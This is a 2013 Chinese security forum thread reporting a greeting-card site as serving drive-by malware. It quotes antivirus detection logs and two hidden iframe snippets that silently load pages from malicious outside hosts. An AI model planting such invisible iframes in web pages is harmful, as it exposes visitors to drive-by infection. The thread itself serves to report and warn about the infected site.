见1楼挂马 by 蓝核

显示全部楼层 · 发表于 2013-4-19 15:53:00

本帖最后由蓝核于 2013-4-19 17:51 编辑

2013/4/19 15:50:54 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4HBKGRVW\personalize[1].htm\000003cf.js Obfuscated Script.l (特洛伊)
2013/4/19 15:50:57 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4HBKGRVW\personalize[1].htm\00003f72.js Obfuscated Script.l (特洛伊)

http://www.clickegreetings.com/personalize.php?id=3DNeWRtKL6

复制代码

显示全部楼层 · 发表于 2013-4-19 17:49:44

<iframe width="480" height="60" src="http://sutra.aleby.ru/in.cgi?11" style="border:0px;position:relative;top:0px;left:-500px;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);-moz-opacity:0"></iframe>

复制代码

<iframe width=1 height=1 src='http://loading-atm.net/b2b/' style='display:none'></iframe>

复制代码

显示全部楼层 · 发表于 2013-4-19 20:19:16

显示全部楼层 · 发表于 2013-4-19 20:22:43

During Close the file "C:\Users\abc\AppData\Local\Google\Chrome\User Data\Default\Cache\f_000203->(INFECTED_JS)" the "JS:Exploit.JS.Iframe.G (Engine A)" virus was detected. Access denied.
During Close the file "C:\Users\abc\AppData\Local\Google\Chrome\User Data\Default\Cache\f_000203" the "JS:Exploit.JS.Iframe.G (Engine A)" virus was detected. Access denied.
During Close the file "C:\Users\abc\AppData\Local\Google\Chrome\User Data\Default\Cache\f_000203->(INFECTED_JS)" the "JS:Exploit.JS.Iframe.G (Engine A)" virus was detected. Access denied.
During Close the file "C:\Users\abc\AppData\Local\Google\Chrome\User Data\Default\Cache\f_000203" the "JS:Exploit.JS.Iframe.G (Engine A)" virus was detected. Access denied.

[已鉴定] 见1楼 挂马 by 蓝核

[已鉴定] 见1楼挂马 by 蓝核